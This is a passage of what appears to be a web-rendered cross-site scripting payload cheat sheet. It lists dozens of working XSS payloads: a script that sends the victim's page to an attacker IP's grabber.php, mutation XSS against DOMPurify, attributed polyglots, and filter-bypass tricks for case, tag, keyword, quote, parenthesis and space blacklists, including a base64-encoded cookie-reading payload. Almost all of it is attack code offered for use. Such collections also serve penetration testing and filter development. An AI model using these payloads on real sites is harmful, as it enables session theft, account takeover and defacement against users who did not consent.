<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="s1">'http://10.10.14.30:8080/XSS/grabber.php?c='</span><span class="o">+</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p"></</span><span class="nt">script</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<p>Eg. one-line HTTP server:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a>$ ruby -run -ehttpd . -p8080
|
||
</code></pre></div>
|
||
<h2 id="mutated-xss">Mutated XSS</h2>
|
||
<p>Use browsers quirks to recreate some HTML tags when it is inside an <code>element.innerHTML</code>.</p>
|
||
<p>Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ and https://research.securitum.com/dompurify-bypass-using-mxss/.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="o"><</span><span class="nx">noscript</span><span class="o">><</span><span class="nx">p</span><span class="w"> </span><span class="nx">title</span><span class="o">=</span><span class="s2">"</noscript><img src=x onerror=alert(1)>"</span><span class="o">></span>
|
||
</code></pre></div>
|
||
<h2 id="polyglot-xss">Polyglot XSS</h2>
|
||
<p>Polyglot XSS - 0xsobky</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="nx">jaVasCript</span><span class="o">:</span><span class="cm">/*-/*`/*\`/*'/*"/**/</span><span class="p">(</span><span class="cm">/* */</span><span class="nx">oNcliCk</span><span class="o">=</span><span class="nx">alert</span><span class="p">()</span><span class="w"> </span><span class="p">)</span><span class="c1">//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</span>
|
||
</code></pre></div>
|
||
<p>Polyglot XSS - Ashar Javed</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><span class="s2">">><marquee><img src=x onerror=confirm(1)></marquee>"</span><span class="w"> </span><span class="o">><</span><span class="sr">/plaintext\></</span><span class="o">|</span><span class="err">\</span><span class="o">><</span><span class="nx">plaintext</span><span class="o">/</span><span class="nx">onmouseover</span><span class="o">=</span><span class="nx">prompt</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="o">><</span><span class="nx">script</span><span class="o">></span><span class="nx">prompt</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o"><</span><span class="err">/script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"></span>
|
||
</code></pre></div>
|
||
<p>Polyglot XSS - Mathias Karlsson</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-33-1" name="__codelineno-33-1" href="#__codelineno-33-1"></a><span class="err">"</span><span class="w"> </span><span class="nx">onclick</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="c1">//<button ‘ onclick=alert(1)//> */ alert(1)//</span>
|
||
</code></pre></div>
|
||
<p>Polyglot XSS - Rsnake</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-34-1" name="__codelineno-34-1" href="#__codelineno-34-1"></a><span class="s1">';alert(String.fromCharCode(88,83,83))//'</span><span class="p">;</span><span class="nx">alert</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="w"> </span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">88</span><span class="p">,</span><span class="mf">83</span><span class="p">,</span><span class="mf">83</span><span class="p">))</span><span class="c1">//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT></span>
|
||
</code></pre></div>
|
||
<p>Polyglot XSS - Daniel Miessler</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-35-1" name="__codelineno-35-1" href="#__codelineno-35-1"></a><span class="s1">';alert(String.fromCharCode(88,83,83))//'</span><span class="p">;</span><span class="nx">alert</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">88</span><span class="p">,</span><span class="mf">83</span><span class="p">,</span><span class="mf">83</span><span class="p">))</span><span class="c1">//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></span>
|
||
<a id="__codelineno-35-2" name="__codelineno-35-2" href="#__codelineno-35-2"></a><span class="err">“</span><span class="w"> </span><span class="nx">onclick</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="c1">//<button ‘ onclick=alert(1)//> */ alert(1)//</span>
|
||
<a id="__codelineno-35-3" name="__codelineno-35-3" href="#__codelineno-35-3"></a><span class="s1">'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'</span><span class="o">--></span><span class="s2">"></script><script>alert(1)</script>"</span><span class="o">><</span><span class="nx">img</span><span class="o">/</span><span class="nx">id</span><span class="o">=</span><span class="s2">"confirm&lpar;1)"</span><span class="o">/</span><span class="nx">alt</span><span class="o">=</span><span class="s2">"/"</span><span class="nx">src</span><span class="o">=</span><span class="s2">"/"</span><span class="nx">onerror</span><span class="o">=</span><span class="nb">eval</span><span class="p">(</span><span class="nx">id</span><span class="o">&%</span><span class="mf">23</span><span class="nx">x29</span><span class="p">;</span><span class="o">></span><span class="s1">'"><img src="http://i.imgur.com/P8mL8.jpg"></span>
|
||
<a id="__codelineno-35-4" name="__codelineno-35-4" href="#__codelineno-35-4"></a><span class="s1">javascript://'</span><span class="o">/<</span><span class="err">/title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*</span>
|
||
<a id="__codelineno-35-5" name="__codelineno-35-5" href="#__codelineno-35-5"></a><span class="nx">javascript</span><span class="o">:</span><span class="c1">//--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a</span>
|
||
<a id="__codelineno-35-6" name="__codelineno-35-6" href="#__codelineno-35-6"></a><span class="nx">javascript</span><span class="o">:</span><span class="c1">//</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/</span>
|
||
<a id="__codelineno-35-7" name="__codelineno-35-7" href="#__codelineno-35-7"></a><span class="nx">javascript</span><span class="o">:</span><span class="c1">//</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*</span>
|
||
<a id="__codelineno-35-8" name="__codelineno-35-8" href="#__codelineno-35-8"></a><span class="nx">javascript</span><span class="o">:</span><span class="c1">//'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*</span>
|
||
<a id="__codelineno-35-9" name="__codelineno-35-9" href="#__codelineno-35-9"></a><span class="nx">javascript</span><span class="o">:</span><span class="c1">//</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//</span>
|
||
<a id="__codelineno-35-10" name="__codelineno-35-10" href="#__codelineno-35-10"></a><span class="nx">javascript</span><span class="o">:</span><span class="nx">alert</span><span class="p">()</span><span class="c1">//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*</span>
|
||
<a id="__codelineno-35-11" name="__codelineno-35-11" href="#__codelineno-35-11"></a><span class="o">--><</span><span class="err">/script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*</span>
|
||
<a id="__codelineno-35-12" name="__codelineno-35-12" href="#__codelineno-35-12"></a><span class="err">/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*</span>
|
||
<a id="__codelineno-35-13" name="__codelineno-35-13" href="#__codelineno-35-13"></a><span class="nx">javascript</span><span class="o">:</span><span class="c1">//--></title></style></textarea></script><svg "//' onclick=alert()//</span>
|
||
<a id="__codelineno-35-14" name="__codelineno-35-14" href="#__codelineno-35-14"></a><span class="err">/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*</span>
|
||
</code></pre></div>
|
||
<p>Polyglot XSS - <a href="https://twitter.com/s0md3v/status/966175714302144514">@s0md3v</a>
|
||
<img alt="https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg" src="https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg" /></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-36-1" name="__codelineno-36-1" href="#__codelineno-36-1"></a><span class="o">--></span><span class="err">'</span><span class="s2">"/></sCript><svG x="</span><span class="o">></span><span class="err">"</span><span class="w"> </span><span class="nx">onload</span><span class="o">=</span><span class="p">(</span><span class="nx">co\u006efirm</span><span class="p">)</span><span class="sb">``</span><span class="o">></span>
|
||
</code></pre></div>
|
||
<p><img alt="https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large" src="https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large" /></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-37-1" name="__codelineno-37-1" href="#__codelineno-37-1"></a><span class="o"><</span><span class="nx">svg</span><span class="o">%</span><span class="mf">0</span><span class="nx">Ao</span><span class="o">%</span><span class="mo">00n</span><span class="nx">load</span><span class="o">=%</span><span class="mf">09</span><span class="p">((</span><span class="nx">pro\u006dpt</span><span class="p">))()</span><span class="c1">//</span>
|
||
</code></pre></div>
|
||
<p>Polyglot XSS - from <a href="http://polyglot.innerht.ml">@filedescriptor's Polyglot Challenge</a></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-38-1" name="__codelineno-38-1" href="#__codelineno-38-1"></a><span class="err">#</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">crlf</span>
|
||
<a id="__codelineno-38-2" name="__codelineno-38-2" href="#__codelineno-38-2"></a><span class="nx">javascript</span><span class="o">:</span><span class="s2">"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//></span>
|
||
<a id="__codelineno-38-3" name="__codelineno-38-3" href="#__codelineno-38-3"></a>
|
||
<a id="__codelineno-38-4" name="__codelineno-38-4" href="#__codelineno-38-4"></a><span class="s2"># by europa</span>
|
||
<a id="__codelineno-38-5" name="__codelineno-38-5" href="#__codelineno-38-5"></a><span class="s2">javascript:"</span><span class="cm">/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/</span><span class="nx">onmouseover</span><span class="o">=</span><span class="nx">alert</span><span class="p">()</span><span class="c1">//></span>
|
||
<a id="__codelineno-38-6" name="__codelineno-38-6" href="#__codelineno-38-6"></a>
|
||
<a id="__codelineno-38-7" name="__codelineno-38-7" href="#__codelineno-38-7"></a><span class="err">#</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">EdOverflow</span>
|
||
<a id="__codelineno-38-8" name="__codelineno-38-8" href="#__codelineno-38-8"></a><span class="nx">javascript</span><span class="o">:</span><span class="s2">"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//></span>
|
||
<a id="__codelineno-38-9" name="__codelineno-38-9" href="#__codelineno-38-9"></a>
|
||
<a id="__codelineno-38-10" name="__codelineno-38-10" href="#__codelineno-38-10"></a><span class="s2"># by h1/ragnar</span>
|
||
<a id="__codelineno-38-11" name="__codelineno-38-11" href="#__codelineno-38-11"></a><span class="s2">javascript:`//"</span><span class="c1">//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`</span>
|
||
</code></pre></div>
|
||
<p>Polyglot XSS - from <a href="https://brutelogic.com.br/blog/building-xss-polyglots/">brutelogic</a>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-39-1" name="__codelineno-39-1" href="#__codelineno-39-1"></a><span class="nx">JavaScript</span><span class="o">:</span><span class="c1">//%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76--></span>
|
||
</code></pre></div></p>
|
||
<h2 id="filter-bypass-and-exotic-payloads">Filter Bypass and exotic payloads</h2>
|
||
<h3 id="bypass-case-sensitive">Bypass case sensitive</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-40-1" name="__codelineno-40-1" href="#__codelineno-40-1"></a><span class="o"><</span><span class="nx">sCrIpt</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o"><</span><span class="err">/ScRipt></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-tag-blacklist">Bypass tag blacklist</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-41-1" name="__codelineno-41-1" href="#__codelineno-41-1"></a><span class="o"><</span><span class="nx">script</span><span class="w"> </span><span class="nx">x</span><span class="o">></span>
|
||
<a id="__codelineno-41-2" name="__codelineno-41-2" href="#__codelineno-41-2"></a><span class="o"><</span><span class="nx">script</span><span class="w"> </span><span class="nx">x</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="s1">'XSS'</span><span class="p">)</span><span class="o"><</span><span class="nx">script</span><span class="w"> </span><span class="nx">y</span><span class="o">></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-word-blacklist-with-code-evaluation">Bypass word blacklist with code evaluation</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-42-1" name="__codelineno-42-1" href="#__codelineno-42-1"></a><span class="nb">eval</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(0)'</span><span class="p">);</span>
|
||
<a id="__codelineno-42-2" name="__codelineno-42-2" href="#__codelineno-42-2"></a><span class="nb">Function</span><span class="p">(</span><span class="s2">"ale"</span><span class="o">+</span><span class="s2">"rt(1)"</span><span class="p">)();</span>
|
||
<a id="__codelineno-42-3" name="__codelineno-42-3" href="#__codelineno-42-3"></a><span class="ow">new</span><span class="w"> </span><span class="nb">Function</span><span class="sb">`al\ert\`6\``</span><span class="p">;</span>
|
||
<a id="__codelineno-42-4" name="__codelineno-42-4" href="#__codelineno-42-4"></a><span class="nx">setTimeout</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(2)'</span><span class="p">);</span>
|
||
<a id="__codelineno-42-5" name="__codelineno-42-5" href="#__codelineno-42-5"></a><span class="nx">setInterval</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(10)'</span><span class="p">);</span>
|
||
<a id="__codelineno-42-6" name="__codelineno-42-6" href="#__codelineno-42-6"></a><span class="nb">Set</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(13)'</span><span class="p">)();</span>
|
||
<a id="__codelineno-42-7" name="__codelineno-42-7" href="#__codelineno-42-7"></a><span class="nb">Set</span><span class="p">.</span><span class="kr">constructor</span><span class="sb">`al\x65rt\x2814\x29```</span><span class="p">;</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-incomplete-html-tag">Bypass with incomplete html tag</h3>
|
||
<p>Works on IE/Firefox/Chrome/Safari</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-43-1" name="__codelineno-43-1" href="#__codelineno-43-1"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s1">'1'</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="s1">'alert(0)'</span><span class="w"> </span><span class="o"><</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-quotes-for-string">Bypass quotes for string</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-44-1" name="__codelineno-44-1" href="#__codelineno-44-1"></a><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">88</span><span class="p">,</span><span class="mf">83</span><span class="p">,</span><span class="mf">83</span><span class="p">)</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-quotes-in-script-tag">Bypass quotes in script tag</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-45-1" name="__codelineno-45-1" href="#__codelineno-45-1"></a><span class="nx">http</span><span class="o">:</span><span class="c1">//localhost/bla.php?test=</script><script>alert(1)</script></span>
|
||
<a id="__codelineno-45-2" name="__codelineno-45-2" href="#__codelineno-45-2"></a><span class="o"><</span><span class="nx">html</span><span class="o">></span>
|
||
<a id="__codelineno-45-3" name="__codelineno-45-3" href="#__codelineno-45-3"></a><span class="w"> </span><span class="o"><</span><span class="nx">script</span><span class="o">></span>
|
||
<a id="__codelineno-45-4" name="__codelineno-45-4" href="#__codelineno-45-4"></a><span class="w"> </span><span class="o"><?</span><span class="nx">php</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="s1">'foo="text '</span><span class="p">.</span><span class="nx">$_GET</span><span class="p">[</span><span class="s1">'test'</span><span class="p">].</span><span class="s1">'";'</span><span class="p">;</span><span class="sb">`?></span>
|
||
<a id="__codelineno-45-5" name="__codelineno-45-5" href="#__codelineno-45-5"></a><span class="sb"> </script></span>
|
||
<a id="__codelineno-45-6" name="__codelineno-45-6" href="#__codelineno-45-6"></a><span class="sb"></html></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-quotes-in-mousedown-event">Bypass quotes in mousedown event</h3>
|
||
<p>You can bypass a single quote with ' in an on mousedown event handler</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-46-1" name="__codelineno-46-1" href="#__codelineno-46-1"></a><span class="o"><</span><span class="nx">a</span><span class="w"> </span><span class="nx">href</span><span class="o">=</span><span class="s2">""</span><span class="w"> </span><span class="nx">onmousedown</span><span class="o">=</span><span class="s2">"var name = '&#39;;alert(1)//'; alert('smthg')"</span><span class="o">></span><span class="nx">Link</span><span class="o"><</span><span class="err">/a></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-dot-filter">Bypass dot filter</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-47-1" name="__codelineno-47-1" href="#__codelineno-47-1"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nb">window</span><span class="p">[</span><span class="s1">'alert'</span><span class="p">](</span><span class="nb">document</span><span class="p">[</span><span class="s1">'domain'</span><span class="p">])</span><span class="o"><</span><span class="err">/script></span>
|
||
</code></pre></div>
|
||
<p>Convert IP address into decimal format: IE. <code>http://192.168.1.1</code> == <code>http://3232235777</code>
|
||
http://www.geektools.com/cgi-bin/ipconv.cgi</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-48-1" name="__codelineno-48-1" href="#__codelineno-48-1"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nb">eval</span><span class="p">(</span><span class="nx">atob</span><span class="p">(</span><span class="s2">"YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="</span><span class="p">))</span><span class="o"><</span><span class="nx">script</span><span class="o">></span>
|
||
</code></pre></div>
|
||
<p>Base64 encoding your XSS payload with Linux command: IE. <code>echo -n "alert(document.cookie)" | base64</code> == <code>YWxlcnQoZG9jdW1lbnQuY29va2llKQ==</code></p>
|
||
<h3 id="bypass-parenthesis-for-string">Bypass parenthesis for string</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-49-1" name="__codelineno-49-1" href="#__codelineno-49-1"></a><span class="nx">alert</span><span class="sb">`1`</span>
|
||
<a id="__codelineno-49-2" name="__codelineno-49-2" href="#__codelineno-49-2"></a><span class="nx">setTimeout</span><span class="sb">`alert\u0028document.domain\u0029`</span><span class="p">;</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-parenthesis-and-semi-colon">Bypass parenthesis and semi colon</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-50-1" name="__codelineno-50-1" href="#__codelineno-50-1"></a><span class="c1">// From @garethheyes</span>
|
||
<a id="__codelineno-50-2" name="__codelineno-50-2" href="#__codelineno-50-2"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">;</span><span class="k">throw</span><span class="w"> </span><span class="mf">1337</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-50-3" name="__codelineno-50-3" href="#__codelineno-50-3"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="p">{</span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">}</span><span class="k">throw</span><span class="w"> </span><span class="mf">1337</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-50-4" name="__codelineno-50-4" href="#__codelineno-50-4"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="k">throw</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">,</span><span class="s1">'some string'</span><span class="p">,</span><span class="mf">123</span><span class="p">,</span><span class="s1">'haha'</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-50-5" name="__codelineno-50-5" href="#__codelineno-50-5"></a>
|
||
<a id="__codelineno-50-6" name="__codelineno-50-6" href="#__codelineno-50-6"></a><span class="c1">// From @terjanq</span>
|
||
<a id="__codelineno-50-7" name="__codelineno-50-7" href="#__codelineno-50-7"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="k">throw</span><span class="sr">/a/</span><span class="p">,</span><span class="nx">Uncaught</span><span class="o">=</span><span class="mf">1</span><span class="p">,</span><span class="nx">g</span><span class="o">=</span><span class="nx">alert</span><span class="p">,</span><span class="nx">a</span><span class="o">=</span><span class="nx">URL</span><span class="o">+</span><span class="mf">0</span><span class="p">,</span><span class="nx">onerror</span><span class="o">=</span><span class="nb">eval</span><span class="p">,</span><span class="sr">/1/g</span><span class="o">+</span><span class="nx">a</span><span class="p">[</span><span class="mf">12</span><span class="p">]</span><span class="o">+</span><span class="p">[</span><span class="mf">1337</span><span class="p">]</span><span class="o">+</span><span class="nx">a</span><span class="p">[</span><span class="mf">13</span><span class="p">]</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-50-8" name="__codelineno-50-8" href="#__codelineno-50-8"></a>
|
||
<a id="__codelineno-50-9" name="__codelineno-50-9" href="#__codelineno-50-9"></a><span class="c1">// From @cgvwzq</span>
|
||
<a id="__codelineno-50-10" name="__codelineno-50-10" href="#__codelineno-50-10"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="ne">TypeError</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">name</span><span class="w"> </span><span class="o">=</span><span class="s1">'=/'</span><span class="p">,</span><span class="mf">0</span><span class="p">[</span><span class="nx">onerror</span><span class="o">=</span><span class="nb">eval</span><span class="p">][</span><span class="s1">'/-alert(1)//'</span><span class="p">]</span><span class="o"><</span><span class="err">/script></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-onxxxx-blacklist">Bypass onxxxx= blacklist</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-51-1" name="__codelineno-51-1" href="#__codelineno-51-1"></a><span class="o"><</span><span class="nx">object</span><span class="w"> </span><span class="nx">onafterscriptexecute</span><span class="o">=</span><span class="nx">confirm</span><span class="p">(</span><span class="mf">0</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-51-2" name="__codelineno-51-2" href="#__codelineno-51-2"></a><span class="o"><</span><span class="nx">object</span><span class="w"> </span><span class="nx">onbeforescriptexecute</span><span class="o">=</span><span class="nx">confirm</span><span class="p">(</span><span class="mf">0</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-51-3" name="__codelineno-51-3" href="#__codelineno-51-3"></a>
|
||
<a id="__codelineno-51-4" name="__codelineno-51-4" href="#__codelineno-51-4"></a><span class="c1">// Bypass onxxx= filter with a null byte/vertical tab</span>
|
||
<a id="__codelineno-51-5" name="__codelineno-51-5" href="#__codelineno-51-5"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s1">'1'</span><span class="w"> </span><span class="nx">onerror</span><span class="err">\</span><span class="nx">x00</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">0</span><span class="p">)</span><span class="w"> </span><span class="o">/></span>
|
||
<a id="__codelineno-51-6" name="__codelineno-51-6" href="#__codelineno-51-6"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s1">'1'</span><span class="w"> </span><span class="nx">onerror</span><span class="err">\</span><span class="nx">x0b</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">0</span><span class="p">)</span><span class="w"> </span><span class="o">/></span>
|
||
<a id="__codelineno-51-7" name="__codelineno-51-7" href="#__codelineno-51-7"></a>
|
||
<a id="__codelineno-51-8" name="__codelineno-51-8" href="#__codelineno-51-8"></a><span class="c1">// Bypass onxxx= filter with a '/'</span>
|
||
<a id="__codelineno-51-9" name="__codelineno-51-9" href="#__codelineno-51-9"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s1">'1'</span><span class="w"> </span><span class="nx">onerror</span><span class="o">/=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">0</span><span class="p">)</span><span class="w"> </span><span class="o">/></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-space-filter">Bypass space filter</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-52-1" name="__codelineno-52-1" href="#__codelineno-52-1"></a><span class="c1">// Bypass space filter with "/"</span>
|
||
<a id="__codelineno-52-2" name="__codelineno-52-2" href="#__codelineno-52-2"></a><span class="o"><</span><span class="nx">img</span><span class="o">/</span><span class="nx">src</span><span class="o">=</span><span class="s1">'1'</span><span class="o">/</span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">0</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-52-3" name="__codelineno-52-3" href="#__codelineno-52-3"></a>
|
||
<a id="__codelineno-52-4" name="__codelineno-52-4" href="#__codelineno-52-4"></a><span class="c1">// Bypass space filter with 0x0c/^L</span>
|
||
<a id="__codelineno-52-5" name="__codelineno-52-5" href="#__codelineno-52-5"></a><span class="o"><</span><span class="nx">svg</span><span class="w"></span><span class="nx">onload</span><span class="w"></span><span class="o">=</span><span class="w"></span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="w"></span><span class="o">></span>
|
||
<a id="__codelineno-52-6" name="__codelineno-52-6" href="#__codelineno-52-6"></a>
|
||
<a id="__codelineno-52-7" name="__codelineno-52-7" href="#__codelineno-52-7"></a><span class="nx">$</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="s2">"<svg^Lonload^L=^Lalert(1)^L>"</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">xxd</span>
|
||
<a id="__codelineno-52-8" name="__codelineno-52-8" href="#__codelineno-52-8"></a><span class="mo">00000000</span><span class="o">:</span><span class="w"> </span><span class="mf">3</span><span class="nx">c73</span><span class="w"> </span><span class="mf">7667</span><span class="w"> </span><span class="mf">0</span><span class="nx">c6f</span><span class="w"> </span><span class="mf">6e6</span><span class="nx">c</span><span class="w"> </span><span class="mf">6</span><span class="nx">f61</span><span class="w"> </span><span class="mf">640</span><span class="nx">c</span><span class="w"> </span><span class="mf">3</span><span class="nx">d0c</span><span class="w"> </span><span class="mf">616</span><span class="nx">c</span><span class="w"> </span><span class="o"><</span><span class="nx">svg</span><span class="p">.</span><span class="nx">onload</span><span class="p">.</span><span class="o">=</span><span class="p">.</span><span class="nx">al</span>
|
||
<a id="__codelineno-52-9" name="__codelineno-52-9" href="#__codelineno-52-9"></a><span class="mo">00000010</span><span class="o">:</span><span class="w"> </span><span class="mf">6572</span><span class="w"> </span><span class="mf">7428</span><span class="w"> </span><span class="mf">3129</span><span class="w"> </span><span class="mf">0</span><span class="nx">c3e</span><span class="w"> </span><span class="mf">0</span><span class="nx">a</span><span class="w"> </span><span class="nx">ert</span><span class="p">(</span><span class="mf">1</span><span class="p">).</span><span class="o">></span><span class="p">.</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-email-filter">Bypass email filter</h3>
|
||
<p>(<a href="http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate">RFC compliant</a>)</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-53-1" name="__codelineno-53-1" href="#__codelineno-53-1"></a><span class="s2">"><svg/onload=confirm(1)>"</span><span class="err">@</span><span class="nx">x</span><span class="p">.</span><span class="nx">y</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-document-blacklist">Bypass document blacklist</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-54-1" name="__codelineno-54-1" href="#__codelineno-54-1"></a><span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"x"</span><span class="o">><</span><span class="err">/div><script>alert(x.parentNode.parentNode.parentNode.location)</script></span>
|
||
